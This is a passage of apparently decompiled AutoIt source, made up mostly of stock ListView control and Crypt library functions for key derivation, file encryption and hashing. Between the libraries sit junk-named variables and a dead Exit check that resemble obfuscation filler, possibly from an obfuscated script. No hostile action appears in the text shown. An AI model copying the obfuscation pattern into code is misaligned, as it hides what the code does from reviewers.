- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_indent)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "Indent", $iindent)
- Return _guictrllistview_setitemex($hwnd, $titem)
- EndFunc
- Func __guictrllistview_setitemoverlayimage($hwnd, $iindex, $iimage)
- Return _guictrllistview_setitemstate($hwnd, $iindex, __guictrllistview_indextooverlayimagemask($iimage), $lvis_overlaymask)
- EndFunc
- Func _guictrllistview_setitemparam($hwnd, $iindex, $iparam)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_param)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "Param", $iparam)
- Return _guictrllistview_setitemex($hwnd, $titem)
- EndFunc
- Func _guictrllistview_setitemposition($hwnd, $iindex, $icx, $icy)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setitemposition, $iindex, _winapi_makelong($icx, $icy)) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setitemposition, $iindex, _winapi_makelong($icx, $icy)) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_setitemposition32($hwnd, $iindex, $icx, $icy)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $icx)
- DllStructSetData($tpoint, "Y", $icy)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_setitemposition32, $iindex, $tpoint, 0, "wparam", "struct*")
- Else
- Local $ipoint = DllStructGetSize($tpoint)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
- _memwrite($tmemmap, $tpoint)
- $iret = _sendmessage($hwnd, $lvm_setitemposition32, $iindex, $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitemposition32, $iindex, DllStructGetPtr($tpoint))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setitemselected($hwnd, $iindex, $fselected = True, $ffocused = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tstruct = DllStructCreate($taglvitem)
- Local $iret, $iselected = 0, $ifocused = 0, $isize, $tmemmap, $pmemory
- If ($fselected = True) Then $iselected = $lvis_selected
- If ($ffocused = True AND $iindex <> -1) Then $ifocused = $lvis_focused
- DllStructSetData($tstruct, "Mask", $lvif_state)
- DllStructSetData($tstruct, "Item", $iindex)
- DllStructSetData($tstruct, "State", BitOR($iselected, $ifocused))
- DllStructSetData($tstruct, "StateMask", BitOR($lvis_selected, $ifocused))
- $isize = DllStructGetSize($tstruct)
- If IsHWnd($hwnd) Then
- $pmemory = _meminit($hwnd, $isize, $tmemmap)
- _memwrite($tmemmap, $tstruct, $pmemory, $isize)
- $iret = _sendmessage($hwnd, $lvm_setitemstate, $iindex, $pmemory)
- _memfree($tmemmap)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitemstate, $iindex, DllStructGetPtr($tstruct))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setitemstate($hwnd, $iindex, $istate, $istatemask)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Mask", $lvif_state)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "State", $istate)
- DllStructSetData($titem, "StateMask", $istatemask)
- Return _guictrllistview_setitemex($hwnd, $titem) <> 0
- EndFunc
- Func _guictrllistview_setitemstateimage($hwnd, $iindex, $iimage)
- Return _guictrllistview_setitemstate($hwnd, $iindex, BitShift($iimage, -12), $lvis_stateimagemask)
- EndFunc
- Func _guictrllistview_setitemtext($hwnd, $iindex, $stext, $isubitem = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $iret
- If $isubitem = -1 Then
- Local $separatorchar = Opt("GUIDataSeparatorChar")
- Local $i_cols = _guictrllistview_getcolumncount($hwnd)
- Local $a_text = StringSplit($stext, $separatorchar)
- If $i_cols > $a_text[0] Then $i_cols = $a_text[0]
- For $i = 1 To $i_cols
- $iret = _guictrllistview_setitemtext($hwnd, $iindex, $a_text[$i], $i - 1)
- If NOT $iret Then ExitLoop
- Next
- Return $iret
- EndIf
- Local $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($tbuffer, "Text", $stext)
- DllStructSetData($titem, "Mask", $lvif_text)
- DllStructSetData($titem, "item", $iindex)
- DllStructSetData($titem, "SubItem", $isubitem)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($titem, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_setitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_setitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- DllStructSetData($titem, "Text", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitemw, 0, $pitem)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_setitema, 0, $pitem)
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_setoutlinecolor($hwnd, $icolor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setoutlinecolor, 0, $icolor)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setoutlinecolor, 0, $icolor)
- EndIf
- EndFunc
- Func _guictrllistview_setselectedcolumn($hwnd, $icol)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- _sendmessage($hwnd, $lvm_setselectedcolumn, $icol)
- _winapi_invalidaterect($hwnd)
- Else
- GUICtrlSendMsg($hwnd, $lvm_setselectedcolumn, $icol, 0)
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- EndFunc
- Func _guictrllistview_setselectionmark($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setselectionmark, 0, $iindex)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setselectionmark, 0, $iindex)
- EndIf
- EndFunc
- Func _guictrllistview_settextbkcolor($hwnd, $icolor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_settextbkcolor, 0, $icolor) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_settextbkcolor, 0, $icolor) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_settextcolor($hwnd, $icolor)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $iret
- If IsHWnd($hwnd) Then
- $iret = _sendmessage($hwnd, $lvm_settextcolor, 0, $icolor)
- _winapi_invalidaterect($hwnd)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_settextcolor, 0, $icolor)
- _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
- EndIf
- Return $iret <> 0
- EndFunc
- Func _guictrllistview_settooltips($hwnd, $htooltip)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_settooltips, 0, $htooltip, 0, "wparam", "hwnd", "hwnd")
- Else
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_settooltips, 0, $htooltip))
- EndIf
- EndFunc
- Func _guictrllistview_setunicodeformat($hwnd, $funicode)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setunicodeformat, $funicode)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setunicodeformat, $funicode, 0)
- EndIf
- EndFunc
- Func _guictrllistview_setview($hwnd, $iview)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aview[5] = [$lv_view_details, $lv_view_icon, $lv_view_list, $lv_view_smallicon, $lv_view_tile]
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setview, $aview[$iview]) <> -1
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setview, $aview[$iview], 0) <> -1
- EndIf
- EndFunc
- Func _guictrllistview_setworkareas($hwnd, $ileft, $itop, $iright, $ibottom)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, "Left", $ileft)
- DllStructSetData($trect, "Top", $itop)
- DllStructSetData($trect, "Right", $iright)
- DllStructSetData($trect, "Bottom", $ibottom)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_setworkareas, 1, $trect, 0, "wparam", "struct*")
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- _memwrite($tmemmap, $trect, $pmemory, $irect)
- _sendmessage($hwnd, $lvm_setworkareas, 1, $pmemory, 0, "wparam", "ptr")
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_setworkareas, 1, DllStructGetPtr($trect))
- EndIf
- EndFunc
- Func _guictrllistview_simplesort($hwnd, ByRef $vdescending, $icol)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If _guictrllistview_getitemcount($hwnd) Then
- Local $b_desc
- If (IsArray($vdescending)) Then
- $b_desc = $vdescending[$icol]
- Else
- $b_desc = $vdescending
- EndIf
- Local $columns = _guictrllistview_getcolumncount($hwnd)
- Local $items = _guictrllistview_getitemcount($hwnd)
- Local $temp_item = ""
- Local $separatorchar = Opt("GUIDataSeparatorChar")
- For $x = 1 To $columns
- $temp_item = $temp_item & " " & $separatorchar
- Next
- $temp_item = StringTrimRight($temp_item, 1)
- Local $a_lv[$items][$columns + 1]
- Local $i_selected = StringSplit(_guictrllistview_getselectedindices($hwnd), $separatorchar)
- Local $i_checked = StringSplit(__guictrllistview_getcheckedindices($hwnd), $separatorchar)
- Local $v_item, $ifocused = -1
- For $x = 0 To UBound($a_lv) - 1 Step 1
- If $ifocused = -1 Then
- If _guictrllistview_getitemfocused($hwnd, $x) Then $ifocused = $x
- EndIf
- _guictrllistview_setitemselected($hwnd, $x, False)
- _guictrllistview_setitemchecked($hwnd, $x, False)
- For $y = 0 To UBound($a_lv, 2) - 2 Step 1
- $v_item = StringStripWS(_guictrllistview_getitemtext($hwnd, $x, $y), 2)
- If (StringIsFloat($v_item) OR StringIsInt($v_item)) Then
- $a_lv[$x][$y] = Number($v_item)
- Else
- $a_lv[$x][$y] = $v_item
- EndIf
- Next
- $a_lv[$x][$y] = $x
- Next
- _arraysort($a_lv, $b_desc, 0, 0, $icol)
- For $x = 0 To UBound($a_lv) - 1 Step 1
- For $y = 0 To UBound($a_lv, 2) - 2 Step 1
- _guictrllistview_setitemtext($hwnd, $x, $a_lv[$x][$y], $y)
- Next
- For $z = 1 To $i_selected[0]
- If $a_lv[$x][UBound($a_lv, 2) - 1] = $i_selected[$z] Then
- If $a_lv[$x][UBound($a_lv, 2) - 1] = $ifocused Then
- _guictrllistview_setitemselected($hwnd, $x, True, True)
- Else
- _guictrllistview_setitemselected($hwnd, $x, True)
- EndIf
- ExitLoop
- EndIf
- Next
- For $z = 1 To $i_checked[0]
- If $a_lv[$x][UBound($a_lv, 2) - 1] = $i_checked[$z] Then
- _guictrllistview_setitemchecked($hwnd, $x, True)
- ExitLoop
- EndIf
- Next
- Next
- If (IsArray($vdescending)) Then
- $vdescending[$icol] = NOT $b_desc
- Else
- $vdescending = NOT $b_desc
- EndIf
- EndIf
- EndFunc
- Func __guictrllistview_sort($nitem1, $nitem2, $hwnd)
- Local $iindex, $tinfo, $val1, $val2, $nresult
- $tinfo = DllStructCreate($taglvfindinfo)
- DllStructSetData($tinfo, "Flags", $lvfi_param)
- For $x = 1 To $alistviewsortinfo[0][0]
- If $hwnd = $alistviewsortinfo[$x][1] Then
- $iindex = $x
- ExitLoop
- EndIf
- Next
- If $alistviewsortinfo[$iindex][3] = $alistviewsortinfo[$iindex][4] Then
- If NOT $alistviewsortinfo[$iindex][7] Then
- $alistviewsortinfo[$iindex][5] *= -1
- $alistviewsortinfo[$iindex][7] = 1
- EndIf
- Else
- $alistviewsortinfo[$iindex][7] = 1
- EndIf
- $alistviewsortinfo[$iindex][6] = $alistviewsortinfo[$iindex][3]
- DllStructSetData($tinfo, "Param", $nitem1)
- $val1 = _guictrllistview_finditem($hwnd, -1, $tinfo)
- DllStructSetData($tinfo, "Param", $nitem2)
- $val2 = _guictrllistview_finditem($hwnd, -1, $tinfo)
- $val1 = _guictrllistview_getitemtext($hwnd, $val1, $alistviewsortinfo[$iindex][3])
- $val2 = _guictrllistview_getitemtext($hwnd, $val2, $alistviewsortinfo[$iindex][3])
- If $alistviewsortinfo[$iindex][8] Then
- If (StringIsFloat($val1) OR StringIsInt($val1)) Then $val1 = Number($val1)
- If (StringIsFloat($val2) OR StringIsInt($val2)) Then $val2 = Number($val2)
- EndIf
- $nresult = 0
- If $val1 < $val2 Then
- $nresult = -1
- ElseIf $val1 > $val2 Then
- $nresult = 1
- EndIf
- $nresult = $nresult * $alistviewsortinfo[$iindex][5]
- Return $nresult
- EndFunc
- Func _guictrllistview_sortitems($hwnd, $icol)
- Local $iret, $iindex, $pfunction, $hheader, $iformat
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- For $x = 1 To $alistviewsortinfo[0][0]
- If $hwnd = $alistviewsortinfo[$x][1] Then
- $iindex = $x
- ExitLoop
- EndIf
- Next
- $pfunction = DllCallbackGetPtr($alistviewsortinfo[$iindex][2])
- $alistviewsortinfo[$iindex][3] = $icol
- $alistviewsortinfo[$iindex][7] = 0
- $alistviewsortinfo[$iindex][4] = $alistviewsortinfo[$iindex][6]
- $iret = _sendmessage($hwnd, $lvm_sortitems, $hwnd, $pfunction, 0, "hwnd", "ptr")
- If $iret <> 0 Then
- If $alistviewsortinfo[$iindex][9] Then
- $hheader = $alistviewsortinfo[$iindex][10]
- For $x = 0 To _guictrlheader_getitemcount($hheader) - 1
- $iformat = _guictrlheader_getitemformat($hheader, $x)
- If BitAND($iformat, $hdf_sortdown) Then
- _guictrlheader_setitemformat($hheader, $x, BitXOR($iformat, $hdf_sortdown))
- ElseIf BitAND($iformat, $hdf_sortup) Then
- _guictrlheader_setitemformat($hheader, $x, BitXOR($iformat, $hdf_sortup))
- EndIf
- Next
- $iformat = _guictrlheader_getitemformat($hheader, $icol)
- If $alistviewsortinfo[$iindex][5] = 1 Then
- _guictrlheader_setitemformat($hheader, $icol, BitOR($iformat, $hdf_sortup))
- Else
- _guictrlheader_setitemformat($hheader, $icol, BitOR($iformat, $hdf_sortdown))
- EndIf
- EndIf
- EndIf
- Return $iret <> 0
- EndFunc
- Func __guictrllistview_stateimagemasktoindex($imask)
- Return BitShift(BitAND($imask, $lvis_stateimagemask), 12)
- EndFunc
- Func _guictrllistview_subitemhittest($hwnd, $ix = -1, $iy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $itest, $ttest, $pmemory, $tmemmap, $iflags, $atest[11]
- If $ix = -1 Then $ix = _winapi_getmouseposx(True, $hwnd)
- If $iy = -1 Then $iy = _winapi_getmouseposy(True, $hwnd)
- $ttest = DllStructCreate($taglvhittestinfo)
- DllStructSetData($ttest, "X", $ix)
- DllStructSetData($ttest, "Y", $iy)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_subitemhittest, 0, $ttest, 0, "wparam", "struct*")
- Else
- $itest = DllStructGetSize($ttest)
- $pmemory = _meminit($hwnd, $itest, $tmemmap)
- _memwrite($tmemmap, $ttest)
- _sendmessage($hwnd, $lvm_subitemhittest, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $ttest, $itest)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_subitemhittest, 0, DllStructGetPtr($ttest))
- EndIf
- $iflags = DllStructGetData($ttest, "Flags")
- $atest[0] = DllStructGetData($ttest, "Item")
- $atest[1] = DllStructGetData($ttest, "SubItem")
- $atest[2] = BitAND($iflags, $lvht_nowhere) <> 0
- $atest[3] = BitAND($iflags, $lvht_onitemicon) <> 0
- $atest[4] = BitAND($iflags, $lvht_onitemlabel) <> 0
- $atest[5] = BitAND($iflags, $lvht_onitemstateicon) <> 0
- $atest[6] = BitAND($iflags, $lvht_onitem) <> 0
- $atest[7] = BitAND($iflags, $lvht_above) <> 0
- $atest[8] = BitAND($iflags, $lvht_below) <> 0
- $atest[9] = BitAND($iflags, $lvht_toleft) <> 0
- $atest[10] = BitAND($iflags, $lvht_toright) <> 0
- Return $atest
- EndFunc
- Func _guictrllistview_unregistersortcallback($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
- For $x = 1 To $alistviewsortinfo[0][0]
- If $hwnd = $alistviewsortinfo[$x][1] Then
- DllCallbackFree($alistviewsortinfo[$x][2])
- __guictrllistview_arraydelete($alistviewsortinfo, $x)
- $alistviewsortinfo[0][0] -= 1
- ExitLoop
- EndIf
- Next
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Global Const $prov_rsa_full = 1
- Global Const $prov_rsa_aes = 24
- Global Const $crypt_verifycontext = -268435456
- Global Const $hp_hashsize = 4
- Global Const $hp_hashval = 2
- Global Const $crypt_exportable = 1
- Global Const $crypt_userdata = 1
- Global Const $calg_md2 = 32769
- Global Const $calg_md4 = 32770
- Global Const $calg_md5 = 32771
- Global Const $calg_sha1 = 32772
- Global Const $calg_3des = 26115
- Global Const $calg_aes_128 = 26126
- Global Const $calg_aes_192 = 26127
- Global Const $calg_aes_256 = 26128
- Global Const $calg_des = 26113
- Global Const $calg_rc2 = 26114
- Global Const $calg_rc4 = 26625
- Global Const $calg_userkey = 0
- Global $__g_acryptinternaldata[3]
- Func _crypt_startup()
- If __crypt_refcount() = 0 Then
- Local $hadvapi32 = DllOpen("Advapi32.dll")
- If @error Then Return SetError(1, 0, False)
- __crypt_dllhandleset($hadvapi32)
- Local $aret
- Local $iproviderid = $prov_rsa_aes
- If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
- If @error OR NOT $aret[0] Then
- DllClose(__crypt_dllhandle())
- Return SetError(2, 0, False)
- Else
- __crypt_contextset($aret[1])
- EndIf
- EndIf
- __crypt_refcountinc()
- Return True
- EndFunc
- Func _crypt_shutdown()
- __crypt_refcountdec()
- If __crypt_refcount() = 0 Then
- DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
- DllClose(__crypt_dllhandle())
- EndIf
- EndFunc
- Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
- Local $aret
- Local $hcrypthash
- Local $hbuff
- Local $ierror
- Local $vreturn
- _crypt_startup()
- Do
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- $hcrypthash = $aret[5]
- $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
- DllStructSetData($hbuff, 1, $vpassword)
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
- If @error OR NOT $aret[0] Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 3
- $vreturn = -1
- ExitLoop
- EndIf
- $ierror = 0
- $vreturn = $aret[5]
- Until True
- If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_destroykey($hcryptkey)
- Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
- Local $nerror = @error
- _crypt_shutdown()
- If $nerror OR NOT $aret[0] Then
- Return SetError(1, 0, False)
- Else
- Return SetError(0, 0, True)
- EndIf
- EndFunc
- Func _crypt_encryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
- Local $hbuff
- Local $ierror
- Local $vreturn
- Local $reqbuffsize
- Local $aret
- _crypt_startup()
- Do
- If $ialg_id <> $calg_userkey Then
- $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
- If @error Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- EndIf
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- $reqbuffsize = $aret[6]
- $hbuff = DllStructCreate("byte[" & $reqbuffsize & "]")
- DllStructSetData($hbuff, 1, $vdata)
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
- If @error OR NOT $aret[0] Then
- $ierror = 3
- $vreturn = -1
- ExitLoop
- EndIf
- $ierror = 0
- $vreturn = DllStructGetData($hbuff, 1)
- Until True
- If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
- _crypt_shutdown()
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $ffinal = True)
- Local $hbuff
- Local $ierror
- Local $vreturn
- Local $htempstruct
- Local $iplaintextsize
- Local $aret
- _crypt_startup()
- Do
- If $ialg_id <> $calg_userkey Then
- $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
- If @error Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- EndIf
- $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
- DllStructSetData($hbuff, 1, $vdata)
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $ffinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
- If @error OR NOT $aret[0] Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- $iplaintextsize = $aret[6]
- $htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
- $ierror = 0
- $vreturn = DllStructGetData($htempstruct, 1)
- Until True
- If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
- _crypt_shutdown()
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_hashdata($vdata, $ialg_id, $ffinal = True, $hcrypthash = 0)
- Local $ierror
- Local $vreturn = 0
- Local $ihashsize
- Local $aret
- Local $hbuff = 0
- _crypt_startup()
- Do
- If $hcrypthash = 0 Then
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- $hcrypthash = $aret[5]
- EndIf
- $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
- DllStructSetData($hbuff, 1, $vdata)
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
- If @error OR NOT $aret[0] Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- If $ffinal Then
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 3
- $vreturn = -1
- ExitLoop
- EndIf
- $ihashsize = $aret[3]
- $hbuff = DllStructCreate("byte[" & $ihashsize & "]")
- $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
- If @error OR NOT $aret[0] Then
- $ierror = 4
- $vreturn = -1
- ExitLoop
- EndIf
- $ierror = 0
- $vreturn = DllStructGetData($hbuff, 1)
- Else
- $vreturn = $hcrypthash
- EndIf
- Until True
- If $hcrypthash <> 0 AND $ffinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
- _crypt_shutdown()
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_hashfile($sfile, $ialg_id)
- Local $hfile
- Local $ierror, $vreturn
- Local $hhashobject = 0
- Local $btempdata
- _crypt_startup()
- Do
- $hfile = FileOpen($sfile, 16)
- If $hfile = -1 Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- Do
- $btempdata = FileRead($hfile, 512 * 1024)
- If @error Then
- $vreturn = _crypt_hashdata($btempdata, $ialg_id, True, $hhashobject)
- If @error Then
- $vreturn = -1
- $ierror = 2
- ExitLoop 2
- EndIf
- ExitLoop 2
- Else
- $hhashobject = _crypt_hashdata($btempdata, $ialg_id, False, $hhashobject)
- If @error Then
- $vreturn = -1
- $ierror = 3
- ExitLoop 2
- EndIf
- EndIf
- Until False
- Until True
- _crypt_shutdown()
- If $hfile <> -1 Then FileClose($hfile)
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
- Local $hinfile, $houtfile
- Local $ierror = 0, $vreturn = True
- Local $btempdata
- Local $ifilesize = FileGetSize($ssourcefile)
- Local $iread = 0
- _crypt_startup()
- Do
- If $ialg_id <> $calg_userkey Then
- $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
- If @error Then
- $ierror = 1
- $vreturn = -1
- ExitLoop
- EndIf
- EndIf
- $hinfile = FileOpen($ssourcefile, 16)
- If @error Then
- $ierror = 2
- $vreturn = -1
- ExitLoop
- EndIf
- $houtfile = FileOpen($sdestinationfile, 26)
- If @error Then
- $ierror = 3
- $vreturn = -1
- ExitLoop
- EndIf
- Do
- $btempdata = FileRead($hinfile, 1024 * 1024)
- $iread += BinaryLen($btempdata)
- If $iread = $ifilesize Then
- $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
- If @error Then
- $ierror = 4
- $vreturn = -1
- EndIf
- FileWrite($houtfile, $btempdata)
- ExitLoop 2
- Else
- $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
- If @error Then
- $ierror = 5
- $vreturn = -1
- ExitLoop 2
- EndIf
- FileWrite($houtfile, $btempdata)
- EndIf
- Until False
- Until True
- If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
- _crypt_shutdown()
- If $hinfile <> -1 Then FileClose($hinfile)
- If $houtfile <> -1 Then FileClose($houtfile)
- Return SetError($ierror, 0, $vreturn)
- EndFunc
- Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
- Local $hinfile, $houtfile
- Local $ierror = 0, $vreturn = True
- Local $btempdata
- Local $ifilesize = FileGetSize($ssourcefile)
- Local $iread = 0
- _crypt_startup()
- Do
